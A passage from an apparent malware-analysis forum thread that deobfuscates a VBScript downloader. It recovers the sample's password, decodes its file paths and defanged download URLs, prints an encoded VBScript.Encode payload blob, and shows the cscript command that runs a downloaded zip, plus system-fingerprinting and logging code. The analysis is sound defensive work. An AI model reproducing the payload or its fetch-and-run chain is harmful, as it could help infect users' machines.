here : all the chars from the password used => go back yo use the chars from the beginning

p - 5 => k
p - 7 => i
w - 9 => n
h - 5 => c
u - 6 => o
. => 2 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)
i - 8 => a
t - 4 => p
u - 5 => p

here : all the chars from the password used => go back yo use the chars from the beginning

x - 5 => s
w - 7 => p
x - 9 =>o
y - 5 => t
. => 6 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)
e - 2 =>c
w - 8 = >o
q - 4 =>m
/ => 5 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)

=> hxxp://tbkinco.appspot.com (it is 'http', I just put 'hxxp' to protect the link)

SUCCESSFUL !!!

We found the offsets, let's transform them in valid chars.

char = Asc("z") - (Asc("z") - Asc("m") + offset) Mod 26


offset is a char but in this line :

+ offset => the conversion is automatically done into a decimal value, considering the char was a representation of a decimal number.

Example :

"5" => 5

=> and not the ASCII code that is taken into account : "5" => 53 in ASCII
So it's now easy to understand that offsets :

5 => "5"
7 => "7"
9 => "9"
etc
A valid password : "579562845"

We can now decode all parts that need the password :)
For the part d), I "copy-paste" and used their functions with the password found :cool:

d) Some parts decoded with the password found :

Remember :

\\ is to say \ to the string interpreter, because \ is a formatting char​

Other example :​

\n in a string => new line, and not \n in the final string​

If we want to make a string with \n that appears

=> "text \\n"
=> the first \ will make the interpreter understand that the second char is \​

- MDnStr("h:\\boplsbx\\cjsr\\mnxzcy.fix",strpwd)

"c:\\windows\\temp\\iisstt.dat"​

copied to :

MDnStr("H:\\Boplsbx\\Bdyvmq32\\fgko\\QTK\\15.nwk",strpwd)

MDnStr("H:\Boplsbx\Bdyvmq32\fgko\QTK\15.nwk",strpwd)

"C:\\Windows\\System32\\wbem\\MOF\\15.log"​

- MDnStr("h:\\boplsbx\\cjsr\\miy.inv",strpwd)

MDnStr("h:\boplsbx\cjsr\miy.inv",strpwd)​

"c:\\windows\\temp\\idt.zip"​

- MDnStr("macu://wytyjlk.tmaj.lts/qxjrz/KLEJ80F06I421H31!248?lpaj.inv",strpwd)

"hxxp://storage.live.com/items/FFCB80A06D421D31!248?dlve.zip"​

=> read first post to see how to decode this file :)

#@~^vQIAAA==G PnMDKDPM+k;:PU+XYlAbxNb.P{PJ;lwbx9WA/ElU+OPk4P{P/.lYn6(LnmDcrd1DbwYc?4nV^Jb)7+.~{P/4 IoIC[`rCn2e{J6;bJ{t)Z_qH3'?roPqb]2'j"SC(/'\+MJ*lk6P-+MP@!@*,J cq*c*RlE~Y4+ PlNs~r fGQr+cDC.r~hrU9k.P3~r-PAHh-kkYc.lMJl2 N~(6)N^~Jy&%QLLRMlMJShrU9k.P3~J'K3\h-kLLcDCDrl9V~r 2cgMlM ybwE~SkU[bDP3~J'K2tKwE DmD +anr)[V,E 2*_rkYR"raJShbU9k.,_,J-:2tK-b/OR(lOE=NV,E 2vgsCOR.kaJShrU9k.P3~J'K3\h-:hOc+a+rlwEU1YbWx,N^cEMVS0alO4*)?OPh'ZMnCYr(LnmOcrrx_OYaR r CYO2"+5EdDRXcFr#)U+D~M{Z.+mYn6(L+1O`rbf}9$RUYM+C:Eb=M HK[+{&l!cKX2n{Flnc6a+U,JV2Kr~r4YDwlzJ/OGMlo Vb\+c^G:JkD+h/&owZ$%Z)!+f*+8f&qZrPQP!.^~~wl^/+=ncj+ Nc#=M 6a+xvb)VRMrO+vncDn/2G /nAK[X*)! Ul\nPKsrV~6wCDtB )VR;sWk+c#=?nO,n'gGY4kxTlj+DPV'HWO4bxL)AUN,s;U1YkGU6t8AAA==^#~@
- MDnStr("macu://w3-hy-yqcxmjhby-1.erfgxsgya.htt/revmwy01234/nsr/jwruhj.enw",strpwd)

"hxxp://s3-ap-southeast-1.amazonaws.com/mytest01234/fom/cnmofb.zip"​

runprg MDnStr("htm.kzm /h lxitqty.lgj /j /j:EGYezmuy.Nsiqli ",strpwd) + currentpath + "\\isst.zip " + strpwd + " " + appurl

=> runprg cmd.exe /c cscript.exe /b /e:VBScript.Encode + currentpath + "\\isst.zip " + strpwd + " " + appurl
------------------------------------------------
A lot of more to be decoded, another post will follow with deobfuscated version and all parts explained

------------------------------------------------
A lot of more to be decoded, another post will follow with deobfuscated version and all parts explained
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Big update on post above (part 4) to be more understandable :oops:

----------------------------------------------------------------------------------------------------------
Remember that there are 3 arguments, and now we have discovered one of them :
the most important argument to deobfuscate the sample Script and see files downloaded, etc.

Other info :

bji=WScript.Arguments(0)
strpwd=WScript.Arguments(1)
appurl=WScript.Arguments(2)


Appurl is only used to run the payload

bji for logs :

wlog(bji + "-CN-" + OSlag + " " + x864)

=> creates and writes one line in C:\Windows\wb2010kb.log

- OSlag : => OS language : 040c for me => fr-FR

Valeurs et Codes des langues de l'OS

objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language", "Default",OSlag)

=> &H80000002 => HKEY_LOCAL_MACHINE
=> set OSlag value
- x864 : "x86" or "x64"

Function X86orX64()
On Error Resume Next
strComputer = "."
Set objWMIService =
GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")

=> get a WMI (Windows Management Instrumentation) object

=> "winmgmts:\\\\" & strComputer & "\\root\\cimv2"

the prefix :

=> "winmgmts:"
WMI object path component :

The local computer name :

=> strComputer
path (namespace) :

=> "\\root\\cimv2"
=> here the WMI object is a service
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)

=> Win32_ComputerSystem : represents a computer system operating in a Windows environment
=> only one object returned ; the current operating system :rolleyes:
=> select 48 "lines" (object) for the result (the good one is the line 47)


For Each objItem in colItems

If InStr(objItem.SystemType, "86") <> 0 Then
X86orX64 = "x86"
ElseIf InStr(objItem.SystemType, "64") <> 0 Then
X86orX64 = "x64"
Else
X86orX64 = objItem.SystemType
End If
Next

=> objItem.SystemType : the system type :p
=> 86 or 64 : 32 or 64 bit system
End Function
- wlog :

Function wlog(slog)
Set objFSO = CreateObject("Scripting.FileSystemObject")
windir = objFSO.
GetSpecialFolder(0)
// 0 => WindowsFolder
// The Windows folder contains files installed by the Windows operating system.

Set f = objFSO.CreateTextFile(windir + "\\wb2010kb.log",1)
// create a log file
f.WriteLine(slog)
// Write inside
f.Close
Set objFSO = Nothing
End Function
----------------------------------------------------------------------------------------------
End

 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I have read a few of your posts and have to say cudos! Very nice write up and analysis of the decoding functions in this.
Thanks :)

Glad you enjoyed it :oops:

After the first deobfuscation, and to deobfuscate the other parts, I needed their password (it was unknown, because the command line used in real infection, with wscript.exe / cscript.exe , is not available / known on virus total - we can only see in the script that their are 3 arguments used).

=> I thought it was interesting to show how to find this password, by reversing the decoder functions and some reasoning :)

For precedent analysis, we can decode the parts only by calling their own decode functions with good parameters hard coded (even if obfuscated).

I will end this analysis thread this w-e, I think : I have deobfuscated all parts, just have to post it with explanations for each function / step it uses to do "normal" stuff

(and sorry for my English, each time I try to improve it)
 
Last edited:

Svoll

Level 13
Verified
Top Poster
Well-known
Nov 17, 2016
627
Thanks for updating this! It took me 2 days to truly understand what you did and your detective skills in gaining the password.

Qexkh vlr pl jrze clo x sbov crk mrwwib xka ybfkd mxqfbkzb tfqe jb
 

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top